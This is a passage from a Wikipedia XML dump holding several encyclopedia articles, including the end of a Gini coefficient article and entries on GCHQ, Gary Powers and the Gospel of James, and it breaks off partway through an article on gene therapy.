
== Gini coefficients in the world ==
See complete listing in [[list of countries by income equality]].
[[Image:World_Map_Gini_coefficient.png|thumb|left|600px|Gini coefficient, by countries]]
[[Image:World_Map_Gini_coefficient_Legend.png|thumb|right|160px]]
&lt;br clear=&quot;both&quot; /&gt;
While most developed European nations tend to have Gini coefficients between 0.24 and 0.36, the United States Gini coefficient is above 0.4, indicating that the United States has greater inequality. Using the Gini can help quantify differences in [[welfare]] and [[living wage|compensation]] policies and philosophies. However it should be borne in mind that the Gini coefficient can be misleading when used to make political comparisons between large and small countries (see [[Gini coefficient#Disadvantages of the Gini coefficient as a measure of inequality|criticisms]] section).

[[Image:Gini_since_WWII.gif|thumb|right|600px|Gini coefficients over time for selected countries]]

=== Development of Gini coefficients in the US over time ===
Gini coefficients for the [[United States of America|United States]] at various times, according to the [[United States Census Bureau|US Census Bureau]]:

*[[1970]]: 0.394
*[[1980]]: 0.403
*[[1990]]: 0.428
*[[2000]]: 0.462 {{ref|USAginicalc}}

==Advantages of the Gini coefficient as a measure of inequality==
* The Gini coefficient's main advantage is that it is a measure of inequality, not a measure of average income or some other variable which is unrepresentative of most of the population, such as [[gross domestic product]].

* Gini coefficients can be used to compare income distributions across different population sectors as well as countries, for example the Gini coefficient for urban areas differs from that of rural areas in many countries (though the United States' urban and rural Gini coefficients are nearly identical).

* The Gini coefficient is sufficiently simple that it can be compared across countries and be easily interpreted.  GDP statistics are often criticised as they do not represent changes for the whole population, the Gini coefficient demonstrates how income has changed for poor and rich.  If the Gini coefficient is rising as well as GDP, poverty may not be improving for the vast majority of the population.

* The Gini coefficient can be used to indicate how the distribution of income has changed within a country over a period of time, thus it is possible to see if inequality is increasing or decreasing. 

* The Gini coefficient satisfies four important principles:
**''Anonymity'': it doesn’t matter who the high and low earners are.
**''Scale independence'': the Gini coefficient does not consider the size of the economy, the way it is measured, or whether it is a rich or poor country on average.
**''Population independence'': it does not matter how large the population of the country is.
**''Transfer principle'': if income (less than the difference), is transferred from a rich person to a poor person the resulting distribution is more equal.

==Disadvantages of the Gini coefficient as a measure of inequality==
* The Gini coefficient measured for a large geographically diverse country will generally result in a much higher coefficient than each of its regions has individually. For this reason the scores calculated for individual countries within the E.U. are difficult to compare with the score of the entire U.S. 

* Comparing income distributions among countries may be difficult because benefits systems may differ.  For example, some countries give benefits in the form of money while others use [[food stamps]], which may not be counted as income in the Lorenz curve and therefore not taken into account in the Gini coefficient.

* The measure will give different results when applied to individuals instead of households. When different populations are not measured with consistent definitions, comparison is not meaningful.

* The Lorenz curve may understate the actual amount of inequality if richer households are able to use income more efficiently than lower income households. From another point of view, measured inequality may be the result of more or less efficient use of household incomes.

* As for all statistics, there will be systematic and random errors in the data. The meaning of the Gini coefficient decreases as the data become less accurate.  Also, countries may collect data differently, making it difficult to compare statistics between countries.

* Economies with similar incomes and Gini coefficients can still have very different income distributions. This is because the Lorenz curves can have different shapes and yet still yield the same Gini coefficient. As an extreme example, an economy where half the households have no income, and the other half share income equally has a Gini coefficient of &amp;frac12;; but an economy with complete income equality, except for one wealthy household that has half the total income, also has a Gini coefficient of &amp;frac12;.

* It is claimed that the Gini coefficient is more sensitive to the income of the middle classes than to that of the extremes.

* Too often only the Gini coefficient is quoted '''without''' describing the proportions of the quantiles used for measurement. As with other inequality coefficients, the Gini coefficient is influenced by the granularity of the measurements. For example, five 20% quantiles (low granularity) will yield a lower Gini coefficient than twenty 5% quantiles (high granularity) taken from the same distribution.

As one result of this criticism, additionally to or in competition with the Gini coefficient ''entropy measures'' are frequently used (e.g. the Atkinson and [[Theil Index|Theil]] indices).  These measures attempt to compare the distribution of resources by intelligent players in the market with a maximum [[information entropy|entropy]] [[random distribution]], which would occur if these players acted like non-intelligent particles in a closed system following the laws of statistical physics.

== Notes ==
*{{note|USAginicalc}} Note that the calculation of the index for the United States was changed in 1992, resulting in an upwards shift of about 0.02 in the coefficient.  Comparisons before and after that period may be misleading.

== References ==
Dixon, PM, Weiner J., Mitchell-Olds T, Woodley R. 
Boot-strapping the Gini coefficient of inequality. Ecology 1987;68:1548-1551.

Gini C. &quot;Variabilità e mutabilità&quot; (1912) 
Reprinted in Memorie di metodologica statistica (Ed. Pizetti E, Salvemini, T). 
Rome: Libreria Eredi Virgilio Veschi (1955).

==See also==
* [[List of countries by income equality]]
* [[List of countries by Human Development Index]]
* [[Welfare economics]]
* [[Income inequality metrics]]
* [[ROC analysis]]
* [[Social welfare (political science)]]
* [[Pareto distribution]]
* [[Robin Hood index]]

== External links ==
* [http://www.eldis.org/static/DOC2910.htm Measuring income inequality: a new database], with link to dataset
* [[United Nations Development Programme|UN Human Development]] [http://hdr.undp.org/reports/global/2004/pdf/hdr04_HDI.pdf Report 2004, p50-53]: Gini Index calculated for all countries.
* [http://oregonstate.edu/~crawfose/research_writing/SOC516--Final.doc] Comparison of Urban and Rural Areas' Gini Coefficients Within States 
* [http://www.wider.unu.edu/wiid/wiid.htm] World Income Inequality Database
* [http://www.forbes.com/billionaires/free_forbes/2003/0317/098.html], Forbes Article, In praise of inequality 
* [http://www.worldpolicy.org/globalrights/econrights/maps-gini.html Gini index map from WorldPolicy.org]

* Software:
** [http://www.wessa.net/co.wasp Free Online Calculator] computes the Gini Coefficient, plots the Lorenz curve, and computes many other measures of concentration for any dataset
** Free Calculator: [http://www.poorcity.richcity.org/calculator.htm Online] and [http://luaforge.net/project/showfiles.php?group_id=49 downloadable scripts] ([[Python programming language|Python]] and [[Lua programming language|Lua]]) for Atkinson, Gini, Hoover and Kullback-Leibler inequalities
** Users of the [http://www.r-project.org/ R] data analysis software can install the &quot;ineq&quot; package which allows for computation of a variety of inequality indices including Gini, Atkinson, Theil.

[[Category:Welfare economics]]
[[Category:Socioeconomics]]
[[Category:Economic indicators]]

[[da:Gini-koefficient]]
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[[zh:基尼指数]]</text>
    </revision>
  </page>
  <page>
    <title>Government Communications Headquarters</title>
    <id>12884</id>
    <revision>
      <id>41727912</id>
      <timestamp>2006-03-01T09:16:56Z</timestamp>
      <contributor>
        <username>Matt Crypto</username>
        <id>50457</id>
      </contributor>
      <comment>/* GCHQ and the constitution */</comment>
      <text xml:space="preserve">The '''Government Communications Headquarters (GCHQ)''' is a [[United Kingdom|British]] [[intelligence agency]] responsible for providing [[signals intelligence]] (SIGINT) and [[information assurance]]. GCHQ provides the UK government and armed forces with signals intelligence as required under the guidance of the [[Joint Intelligence Committee]] in support of government policies. The '''Communications-Electronics Security Group (CESG)''' is the branch of GCHQ which works to secure the communications and information systems of government and critical parts of UK national infrastructure.

GCHQ was previously known as the '''Government Code and Cipher School (GC&amp;CS)''' before [[1946]].

GCHQ is the responsibility of the UK [[Secretary of State for Foreign and Commonwealth Affairs]].

==Government Code and Cipher School (GC&amp;CS)==
In early 1919, twenty-five officers from the wartime [[signals intelligence]] organisations of the Navy ([[Room 40]]) and the Army ([[MI1b]]) were merged into a single agency, the Government Code and Cipher School (GC&amp;CS) (a cover-name chosen by Victor Forbes of the [[Foreign Office]])&lt;ref&gt;Macksey, 2003, p. 58&lt;/ref&gt;. [[Alastair Denniston]] was appointed the operational head with the title of Deputy Director. Initially, GC&amp;CS was under the control of the [[Admiralty]], but later, with its focus on diplomatic traffic, was placed under the control of the [[Foreign Office]] in [[1922]].

In the 1920s, GC&amp;CS was successfully reading Soviet Union diplomatic ciphers. However, the British government made details from the decrypts public prompting the Soviet to change their systems to more secure schemes, including the [[one-time pad]], in [[1927]].

Before [[World War II]], GC&amp;CS was a relatively small department, and staff included [[Alastair Denniston]], [[Oliver Strachey]], [[Dilly Knox]], [[John Tiltman]], [[Edward Travis]], [[Ernst Fetterlein]], [[Josh Cooper]] and [[Hugh Foss]].

During the [[Second World War]], GC&amp;CS was based largely at [[Bletchley Park]], reading German [[Enigma machine]] ciphers amongst a large number of other systems. In [[1940]], GC&amp;CS were working on the diplomatic codes and ciphers of 26 countries, tackling over 150 diplomatic cryptosystems&lt;!--David Alvarez, GC&amp;CS and American Diplomatic Cryptanalysis --&gt;.

GC&amp;CS was renamed the &quot;Government Communications Headquarters&quot; in June 1946&lt;ref&gt;Smith, 1998, p. 176&lt;/ref&gt;.

==After World War II==
GCHQ was at first based in [[London]], but in [[1953]]{{fact}} moved to the outskirts of [[Cheltenham]], setting up two sites there - Oakley and Benhall. It was not officially avowed until [[1983]].  The following year GCHQ was the centre of a political row when the [[Conservative Party (UK)|Conservative]] government of [[Margaret Thatcher]] prohibited its employees from joining a [[Trade Union]]. It was claimed that joining such a union would be in conflict with [[national security]].  The ban was eventually lifted by the incoming [[Labour Party (UK)|Labour]] government in [[1997]].

==Post Cold War==
Since [[1994]], GCHQ activities have been subject to scrutiny by Parliament's [[Intelligence and Security Committee]].

Post-[[Cold War]], the aims of GCHQ were set out by the [[UK Intelligence Services Act of 1994|Intelligence Services Act]] (1994). 

At the end of 2003, GCHQ moved to a new 'doughnut' shaped HQ, at the time the second largest public sector building project in Europe with an estimated cost of £337 million&lt;ref&gt;[http://www.designbuild-network.com/projects/gchq/]&lt;/ref&gt;. The new building is the base for all of GCHQ's [[Cheltenham]] operations. 

GCHQ gains its intelligence by monitoring a wide variety of communications and other electronic signals. For this a number of stations have been established in the UK and overseas which are run by the Composite Signals Organisation for GCHQ. The Composite Signals Organisation Station, at Morwenstow near [[Bude]], [[Cornwall]] is directly subordinate to GCHQ. The listening stations are at Cheltenham itself, GCHQ CSO Morwenstow, GCHQ CSO [[Ascension Island]], with the Americans at [[Menwith Hill]], and the [[Columbia Annex]] (CANX).

In addition to SIGINT, GCHQ provides assistance to Government Departments on their own communications security. This task is given to the '''Communications-Electronics Security Group (CESG)''' of GCHQ. CESG is the [[United Kingdom|UK]] national technical authority for [[information assurance]], including [[cryptography]]. CESG does not manufacture security equipment, but works with industry to ensure the availability of suitable products and services, while GCHQ itself can fund research into such areas, for example to the [[Centre for Quantum Computing]] at [[Oxford University]].

==ECHELON==
GCHQ, in combination with the equivalent agencies in the [[United States]] ([[NSA]]), [[Canada]] ([[Communications Security Establishment]]) and [[Australia]] ([[Defence Signals Directorate]]) and otherwise known as the [[UKUSA]] group, is believed to be responsible for, among other things, the operation of the [[ECHELON]] system. Its capabilities are suspected to include the ability to monitor a large proportion of the world's transmitted civilian telephone, fax and data traffic.

The public spotlight fell on GCHQ in late 2003 and early 2004 following the sacking of [[Katharine Gun]] after she leaked a confidential email from agents at the American [[National Security Agency]] to GCHQ agents about the wire-tapping of UN delegates in the run-up to the [[2003 invasion of Iraq|2003 Iraq war]].

==GCHQ and the constitution==
GCHQ actually determined the scope of judicial review on prerogative (residual powers from common law) in a very controversial case. This occurred in &quot;Council of Civil Service Unions v Minister for the Civil Service [1985] AC 347&quot;. In this case, a prerogative order in council was used by the Prime minister to ban trade union activities by civil servants working at GCHQ. This order was issued without consultation. The House of Lords had to decide whether this was reviewable by Judicial Review. It was held that executive action is not immune from Judicial Review because it is carried out in the pursuit of power derived from common law. (i.e. prerogative is reviewable). Controversially, they also held that though the failure to consult was unfair, it was overriden by concerns of national security.

==Leadership==
The following is a list of the heads of GCHQ and GC&amp;CS [http://archives.his.com/intelforum/2003-June/msg00019.html], [http://archives.his.com/intelforum/2003-June/msg00028.html]:

* [[Alastair Denniston]] ([[1921]]-[[1944]])
* Sir [[Edward Travis]] ([[1944]]-[[1952]])
* Sir [[Eric Jones]] ([[1952]]-[[1960]])
* Sir [[Clive Loehnis]] ([[1960]]-[[1964]])
* Sir [[Leonard Hooper]] ([[1965]]-[[1973]])
* Sir [[Arthur Bonsall]] ([[1973]]-[[1978]])
* Sir [[Brian John Maynard Tovey]] ([[1978]]-[[1983]])
* Sir [[Peter Marychurch]] ([[1983]]-[[1989]])
* Sir [[John Anthony Adye]] ([[1989]]-[[1996]])
* Sir [[David Omand]] (July [[1996]]-December [[1997]])
* [[Kevin Tebbit]] (January [[1998]]-July [[1998]])
* [[Francis Richards]] (July [[1998]]-April [[2003]])
* Sir [[David Pepper]] (April [[2003]] to present)

==See also==
* [[Bletchley Park]]
* [[MI8]]
* [[Zircon (satellite)|Zircon]], the cancelled GCHQ satellite project
* [[Conel Hugh O'Donel Alexander|Hugh Alexander]] &amp;mdash; head of cryptanalysis at GCHQ from [[1949]]&amp;ndash;[[1971]]
* [[Alan Turing]]

==References==
* Michael Smith, Station X, Channel 4 Books, 1998, ISBN 0330419293.
&lt;references/&gt;

==External links==
* [http://www.gchq.gov.uk/ GCHQ homepage]
* [http://www.cesg.gov.uk/ CESG homepage]
* [http://www.fas.org/irp/world/uk/gchq/index.html Unofficial page on GCHQ]
* [http://www.secret-bases.co.uk/ UK Secret Bases]

{{Signals agency}}
{{UK Intelligence Agencies}}

[[Category:GCHQ|*]]
[[Category:Organizations in cryptography]]
[[Category:Foreign relations of the United Kingdom]]
[[Category:British organisations]]
[[Category:United Kingdom intelligence agencies]]

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    <title>GCHQ</title>
    <id>12885</id>
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      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Government Communications Headquarters]]
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  <page>
    <title>Wikipedia:Naming conventions (Polish rulers)</title>
    <id>12887</id>
    <revision>
      <id>39321547</id>
      <timestamp>2006-02-12T09:15:25Z</timestamp>
      <contributor>
        <username>Francis Schonken</username>
        <id>85402</id>
      </contributor>
      <comment>Moving old table to talk page; Importing new table-by-template (=same table as on talk page)</comment>
      <text xml:space="preserve">{{proposed}}

reactivating as proposal, [[List of Polish monarchs]] was not really the good place to try and sort out ''guidelines''. --[[User:Francis Schonken|Francis Schonken]] 16:30, 29 January 2006 (UTC)

----
{{Wikipedia:Naming conventions (Polish rulers)/table}}
== See also ==
* [[List of Polish rulers]]
* [[Wikipedia:Naming conventions (names and titles)]]

[[Category:Wikipedia naming conventions|Polish rulers, guidelines for the spelling of names]]</text>
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  </page>
  <page>
    <title>Gary Powers</title>
    <id>12888</id>
    <revision>
      <id>41313889</id>
      <timestamp>2006-02-26T14:05:46Z</timestamp>
      <contributor>
        <username>Nobunaga24</username>
        <id>830002</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Francis-Gary-Powers model nasm.jpg|right|thumb|300px|Francis Gary Powers with a model of the U-2.]]
'''Francis Gary Powers''' ([[August 17]], [[1929]] &amp;ndash; [[August 1]], [[1977]]) was an [[United States|American]] [[Aviator|pilot]] whose [[Lockheed U-2|U-2 spy plane]] was shot down while over the [[Soviet Union]], thus causing the [[U-2 Crisis of 1960]].

He was born in [[Jenkins, Kentucky]] and was raised in [[Pound, Virginia]], on the [[Virginia]]-[[Kentucky]] border. After graduating from Milligan College in Eastern [[Tennessee]], Gary enlisted in the [[United States Air Force|USAF]] in [[1950]]. Upon completing his training (52-H) he was assigned to the 468th Strategic Fighter Squadron at Turner Air Force Base, [[Georgia (U.S. state)|Georgia]] as an [[F-84 Thunderjet]] pilot. He was assigned to operations in the [[Korean War]], but (according to his son) was recruited by the [[CIA]] because of his outstanding record in single engine [[jet aircraft]], soon after recovering from an illness. He left the Air Force with the rank of [[captain]] in [[1956]], to join the CIA [[Lockheed U-2|U-2]] program.

U-2 pilots  carried out [[espionage]] missions over hostile countries including the [[Soviet Union]], systematically photographing military installations and other important intelligence targets. Powers' U-2, which was stationed at [[Incirlik Air Base]], [[Turkey]], was shot down by a [[surface-to-air missile]]  on [[1 May]] [[1960]] over [[Yekaterinburg|Sverdlovsk]]; he was convicted of espionage against the Soviet Union and sentenced to 3 years imprisonment and 7 years of hard labor. However, on [[10 February]] [[1962]], twenty-one months after his capture, he was exchanged along with American student [[Frederic Pryor]] in a spy swap for Soviet [[KGB]] [[Colonel]] [[Vilyam Genrikhovich Fisher|Vilyam Fisher]] (aka [[Rudolf Abel]]) at the [[Glienicke bridge]] in [[Potsdam]], [[Germany]].

[[Image:U2 Powers Senate model.jpg|thumb|right|Wooden U-2 model - one of two used by Powers when he testified to the Senate Committee. The wings and tail are detachable to demonstrate the aircraft's breakup upon impact.]]

On his return to the U.S., Powers was criticized for having failed to activate his aircraft's [[self-destruct]] charge to destroy the [[camera]], [[photographic film]], and related [[classified information|classified]] parts of his aircraft before capture. In addition, others criticized him for deciding not to use an optional CIA-issued [[suicide]] pin. This pin, which was concealed in a hollowed out [[silver dollar]], could be used to avoid pain and suffering in case of [[torture]]. After being debriefed extensively by the CIA, Lockheed, and the USAF, on [[6 March]] [[1962]] he appeared before a Senate Armed Services Select Committee hearing chaired by Senator [[Richard Russell, Jr.|Richard Russell]] and including Senators [[Prescott Bush]] and [[Barry Goldwater]], Sr. During the proceeding it was determined that Powers followed orders, did not divulge any critical information to the Soviets, and conducted himself &quot;as a fine young man under dangerous circumstances.&quot;

After his return, Powers worked for [[Lockheed]] as a test pilot from [[1963]] to [[1970]]. In 1970, he co-wrote a book about the Incident, called ''Operation Overflight: A Memoir of the U-2 Incident''. He died in a [[helicopter]] crash in [[Los Angeles, California|Los Angeles]] on [[August 1]], [[1977]], while working as a radio traffic reporter for the radio station [[KNBC]]. The crash of his helicopter was apparently caused by a malfunctioning [[fuel gauge]] which had been repaired without his knowledge. Survived by his wife Sue, and two children Dee and Francis Gary Jr., he was buried in [[Arlington National Cemetery]].

In [[1998]], information was declassified revealing that Powers' fateful mission had actually been a joint USAF/CIA operation. In [[2000]], on the 40th anniversary of Powers being shot down, his family was finally presented with his posthumously awarded [[Prisoner of War Medal]], [[Distinguished Flying Cross (USA)|Distinguished Flying Cross]] and [[National Defense Service Medal]].

When asked how high he was flying on [[1 May]] [[1960]], he would often reply, &quot;not high enough.&quot;

== External links ==
* [http://www.foia.cia.gov/search.asp?pageNumber=1&amp;freqReqRecord=GaryPowers.txt CIA FOIA documents on Gary Powers]

== Cultural References ==
Francis Gary Powers was mentioned several times in the [[1991]] film Final Approach starring [[James Sikking]] ([[Hill Street Blues]]) and [[Hector Elizondo]] ([[Pretty Woman ]])

Francis Gary Powers was portrayed by [[Lee Majors]] in a 1976 movie, '''''Francis Gary Powers: The True Story of the U-2 Spy Incident''''' that dramatized the incident of 1960.

[[Category:1929 births|Powers, Francis Gary]]
[[Category:1977 deaths|Powers, Francis Gary]]
[[Category:American spies|Powers, Francis Gary]]
[[Category:Burials at Arlington National Cemetery|Powers, Francis Gary]]
[[Category:People from Kentucky|Powers, Francis Gary]]
[[Category:Helicopter crash victims|Powers, Francis Gary]]
[[Category:United States Air Force officers|Powers, Francis Gary]]

[[de:Francis Gary Powers]]
[[fr:Francis Gary Powers]]
[[nl:Gary Powers]]
[[ru:&amp;#1055;&amp;#1072;&amp;#1091;&amp;#1101;&amp;#1088;&amp;#1089;, &amp;#1060;&amp;#1088;&amp;#1101;&amp;#1085;&amp;#1089;&amp;#1080;&amp;#1089; &amp;#1043;&amp;#1072;&amp;#1088;&amp;#1088;&amp;#1080;]]
[[fi:Gary Powers]]</text>
    </revision>
  </page>
  <page>
    <title>Gastrointestinal Tract</title>
    <id>12889</id>
    <revision>
      <id>15910539</id>
      <timestamp>2002-08-09T07:03:20Z</timestamp>
      <contributor>
        <username>Jaknouse</username>
        <id>3212</id>
      </contributor>
      <minor />
      <comment>redirect to Gastrointestinal tract</comment>
      <text xml:space="preserve">#REDIRECT [[Gastrointestinal tract]]</text>
    </revision>
  </page>
  <page>
    <title>Gospel of James</title>
    <id>12890</id>
    <revision>
      <id>41634327</id>
      <timestamp>2006-02-28T17:59:18Z</timestamp>
      <contributor>
        <username>Blainster</username>
        <id>31831</id>
      </contributor>
      <comment>del redundant phrase</comment>
      <text xml:space="preserve">{{Early Christian Writings |
 |title=Gospel of James
 |attribution=[[James the Just]]
 |sources=[[Gospel of Matthew]], [[Gospel of Luke]], [[Septuagint]], extracanonical traditions
 |date=140-170 CE
 |location=
 |manuscripts=
 |audience=
 |theme=Virginity of Mary and early life of Jesus
}}
The '''''Gospel of James''''' also sometimes known as the '''''Infancy Gospel of James''''' or the '''''Protevangelium of James''''' probably written about AD 150. It is an [[apocrypha|apocryphal gospel]], that was widely read but never accepted into the New Testament [[Biblical canon|canon]]. The ''Gospel of James'' may be the earliest surviving document attesting the veneration of [[Mary, mother of Jesus|Mary]] and claiming her continuing virginity. &lt;!--possible earlier ones need to be identified if they exist--&gt;

==Authorship and date==
The document presents itself as written by James: &quot;I, James, wrote this history in Jerusalem.&quot; Thus the purported author is [[James the Just]], which the text claims to be a son of Joseph from a prior marriage, and thus a step-brother of Jesus.

Scholars have established that, based on the style of the language and the theological concerns, and the fact that the author is apparently not aware of contemporary Jewish customs, the work is [[pseudepigraphical]] (written by someone other than the person it claims to be written by). The echoes and parallels of the Old Testament appear to derive from its Greek translation, the [[Septuagint]], as opposed to the [[hebrew language|hebrew]] [[Masoretic Text]], which is noticeable due to several peculiarities and variations present in the Septuagint. 

The ''Gospel of James'' depends on hints in the [[Septuagint]] (Greek translation of the Old Testament), and embellishes on what is told of events surrounding Mary, prior to, and at the moment of, Jesus' birth, in the ''[[Gospel of Matthew]]'', and in the ''[[Gospel of Luke]]''. 

As for its estimated date, the consensus is that it was actually composed some time in the [[2nd century]] AD. The first mention of it is by [[Origen]], who says the text, like that of a &quot;Gospel of Peter&quot;, was of dubious, recent appearance, and shared with that book the claim that the 'brethren of the Lord' were sons of Joseph by a former wife. In the same train of thought, though, he admits that, while the notion might seem pious, it was not unlikely that the obvious interpretation of Scripture (that Mary bore them for Joseph) was true and acceptable.

==Manuscript tradition==
Some indication of the popularity of the ''Infancy Gospel of James'' may be drawn from the fact that about one hundred and thirty Greek manuscripts containing it have survived. The ''Gospel of James'' was translated into Syriac, Ethiopic, Coptic, Georgian, Old Slavonic, Armenian, Arabic, Irish and  Latin. Though no early Latin versions are known,  it was relegated to the apocrypha in the [[Decretum Gelasianum|Gelasian decretal]], so must have been known in the West. As with the canonical gospels, the vast majority of the manuscripts come from the tenth century or later. The earliest known manuscript of the text, a papyrus dating to the 3rd or early 4th century, was found in [[1958]]; it is kept in the [[Bodmer Library]], [[Geneva]] (Papyrus Bodmer 5). Of the  surviving Greek manuscripts, the fullest surviving text is a 10th century codex in the [[Bibliotheque Nationale]], Paris (Paris 1454). 

==Genre==
The ''Gospel of James'' is one of several surviving [[Infancy Gospels]] that give an idea of the miracle literature that was created to satisfy the hunger of early Christians for more detail about the early life of their Savior. Such literature is filled with ignorance of Jewish life, unlike the many consistent details in the Bible, which is obviously a library of Jewish books. Interestingly enough, not one work of the genre under discussion is in any Bible. In Greek such an infancy gospel was termed a ''protevangelion'', a &quot;pre-Gospel&quot; narrating events of Jesus' life before those recorded in the four canonical gospels. Such a work was intended to be &quot;apologetic, doctrinal, or simply to satisfy one's curiosity&quot; [http://www.osjoseph.org/stjoseph/apocrypha/]. The literary genre that these works represent shows stylistic features that suggest dates in the second century and later. Other &quot;infancy gospels&quot; in this tradition  include ''[[The Infancy Gospel of Thomas]]'', the ''[[Gospel of Pseudo-Matthew]]'' (based on the Protevangelium of James, and on the Infancy Gospel of Thomas), and the so-called ''[[Arabic Infancy Gospel]]''; all of which were [[New Testament apocrypha|regarded by the church as apocryphal]].

==Content==
[[Image:GaudFerrariAnnuncJoachAnna.jpg|thumb|right|300px|''Annunciation to Joachim and Anna'', fresco detail by Gaudenzio Ferrari, 1544&amp;ndash;45: Extra-canonical legends surrounding Mary's birth became an integral element of Roman Catholicism.]]

The ''Gospel of James'' is in three equal parts, of eight chapters each -  
*the first contains the story of Mary's own unique birth and childhood, and assignment to the temple
*the second concerns the crisis posed by Mary's becoming a woman and thus her imminent pollution of the temple, her assignment to Joseph as guardian, and the tests of her virginity, 
*the third relates the Nativity, with the visit of midwives, hiding of Jesus from [[Herod the Great]] in a feeding trough, and even the parallel hiding in the hills of John the Baptist and his mother (Elizabeth) from [[Herod Antipas]]. 

One of the work's high points is the Lament of [[Saint Anne|Anna]]. A primary theme is the work and grace of [[God]] in Mary's life, Mary's personal purity, and [[perpetual virginity of Mary|her perpetual virginity]] before, during, and after the birth of Jesus, as confirmed by the midwife after she gave birth, and tested by &quot;Salome&quot; who is perhaps intended to be [[Salome (disciple)|Salome, later the disciple of Jesus]] who is mentioned in the [[Gospel of Mark]] as being at the Crucifixion.  

Besides the perpetual virginity of Mary, this is also the earliest text that explicitly claims that [[Saint Joseph|Joseph]] was a widower, with children, at the time that Mary is entrusted to his care. This is the feature which appears in its earliest mention, which is in a text of [[Origen]], who adduces it to demonstrate that the 'brethren of the Lord' were sons of Joseph by a former wife. Since the text was regarded as heresy by the time of the [[Decretum Gelasianum|Gelasian Decree]], its dismissal may be due in part to this reading of the ''adelpoi'', which corresponded to the developed [[Eastern Orthodox]] view rather than the western, i.e. [[Roman Catholic]], view, which treated them as cousins.

Among further traditions not present in the four canonical gospels are the birth of Jesus in a cave, and the martyrdom of [[John the Baptist]]'s father Zechariah during the slaughter of the infants. The Nativity reported as taking place in a cave, with its [[Mithraism|Mithraic]] overtones, remained in the popular imagination; many Early Renaissance Sienese and Florentine paintings of the Nativity, as well as Byzantine, Greek and Russian icons of the Nativity, show such a chthonic setting.

== External links ==
*[http://www.earlychristianwritings.com/infancyjames.html Text of the ''Infancy Gospel of James'']
*[http://www.maplenet.net/~trowbridge/infjames.htm The Whole Bible website:] ''Infancy Gospel of James''
*[http://www.osjoseph.org/stjoseph/apocrypha/ St. Joseph in Apocrypha], from &quot;Oblates of St. Joseph&quot;.&lt;!--retrieved [[14 June]] [[2004]]--&gt;
*[http://assets.cambridge.org/0521581680/ sample/0521581680web.PDF Mary Clayton, &quot;The Apocryphal Gospels of Mary in Anglo-Saxon England&quot;], ''Cambridge Studies in Anglo-Saxon England'': introduction 

[[Category:Christian texts]]
[[Category:Ancient Roman Christianity]]
[[Category:New Testament Apocrypha]]

[[es:Protoevangelio de Santiago]]</text>
    </revision>
  </page>
  <page>
    <title>Gene therapy</title>
    <id>12891</id>
    <revision>
      <id>41501969</id>
      <timestamp>2006-02-27T20:18:50Z</timestamp>
      <contributor>
        <username>Tyciol</username>
        <id>523986</id>
      </contributor>
      <comment>RV vandalism</comment>
      <text xml:space="preserve">[[Image:Gene therapy.jpg|right|thumb|340px|Gene therapy using an [[Adenovirus]] vector. A new gene is inserted into an adenovirus vector, which is used to introduce the modified [[DNA]] into a human cell. If the treatment is successful, the new gene will make a functional [[protein]].]]

'''Gene therapy''' is the insertion of [[gene]]s into an individual's [[cell (biology)|cells]] and [[Biological tissue|tissue]]s to treat a [[disease]], and  [[hereditary disease]]s in particular.
Gene therapy typically aims to supplement a defective [[mutant]] [[allele]] with a functional one. Although the technology is still in its infancy, it has been used with some success. [[Antisense therapy]] is not strictly a form of gene therapy, but is often lumped together with them.

==Background ==

In the 1980s, advances in [[molecular biology]] had already enabled human genes to be [[sequencing|sequenced]] and [[cloning|cloned]]. Scientists looking for a method of easily producing [[protein]]s, such as the protein deficient in diabetics &amp;mdash; insulin, investigated introducing human genes to [[bacteria|bacterial]] DNA. The modified bacteria then produce the corresponding protein, which can be harvested and injected in people who cannot produce it naturally.

Scientists took the logical step of trying to introduce genes straight into human cells, focusing on diseases caused by single-gene defects, such as [[cystic fibrosis]], [[hemophilia]], [[muscular dystrophy]] and [[sickle cell anemia]]. However, this has been much harder than modifying simple bacteria, primarily because of the problems involved in carrying large sections of DNA and delivering it to the right site on the genome.
== Types of gene therapy ==  
In theory it is possible to transform either [[somatic cell]]s (most cells of the body) or cells of the [[germline]] (such as [[sperm cell]]s, [[Ovum|ova]], and their [[stem cell]] precursors). All gene therapy so far in people has been directed at somatic cells, whereas germline engineering in humans remains only a highly controversial prospect. For the introduced gene to be transmitted normally to offspring, it needs not only to be inserted into the cell, but also to be incorporated into the [[chromosome]]s by [[genetic recombination]].   

Somatic gene therapy can be broadly split in to two categories: ''ex vivo'' (where cells are modified outside the body and then transplanted back in again) and ''in vivo'' (where genes are changed in cells still in the body.) Recombination-based approaches in vivo are especially uncommon, because for most [[DNA construct]]s recombination is a very low probability event. 

==Vectors in gene therapy==

All [[virus]]es attack their hosts and introduce their genetic material into the host cell as part of their replication cycle. This genetic material contains basic 'instructions' of how to produce more copies of these viruses, hijacking the body's normal production machinery to serve the needs of the virus. The host cell will carry out these instructions and produce additional copies of virus, leading to more and more cells becoming infected. Certain types of viruses actually physically insert their genes into the host's genome.  This would incorporate the genes of that virus into the genes of the host cell for the life span of that cell.  Most viruses do not do this, but some do (in fact, it is the defining feature of [[retrovirus]]es, the family of viruses that includes HIV, the virus that causes AIDS).

Doctors and molecular biologists realized that viruses like this could potentially be used as vehicles to carry 'good' genes into a human cell.  First, a scientist would remove the genes in the virus that cause disease.  Then, he or she would replace those genes with genes encoding the desired effect (for instance, insulin production in the case of diabetics).  This procedure must be done in such a way as the genes which allow the virus to insert its genome into its host's genome are left intact.  This can be confusing, and requires significant research and understanding of the virus's genes in order to know which one has what function.  An example:

''A virus is found which replicates by inserting its genes into the host cell's genome.  This virus has three genes - A, B, and C.  Gene A encodes a protein which allows this virus to insert itself into the host's genome.  Genes B and C actually cause the disease this virus is associated with.  Thus, by re-engineering the virus so that genes B and C are removed and replaced by a beneficial gene, and leaving gene A alone, this virus could introduce your 'good gene' into the host cell's genome without causing any disease.
''

All this is clearly an oversimplification, and numerous problems exist that prevent gene therapy using viral vectors, such as: trouble preventing undesired effects, ensuring the virus will infect the correct target cell in the body, and ensuring that the inserted gene doesn't disrupt any vital genes already in the genome.  However, this basic mode of gene introduction currently shows much promise and doctors and scientists are working hard to fixing any potential problems that could exist.

===Retroviruses===

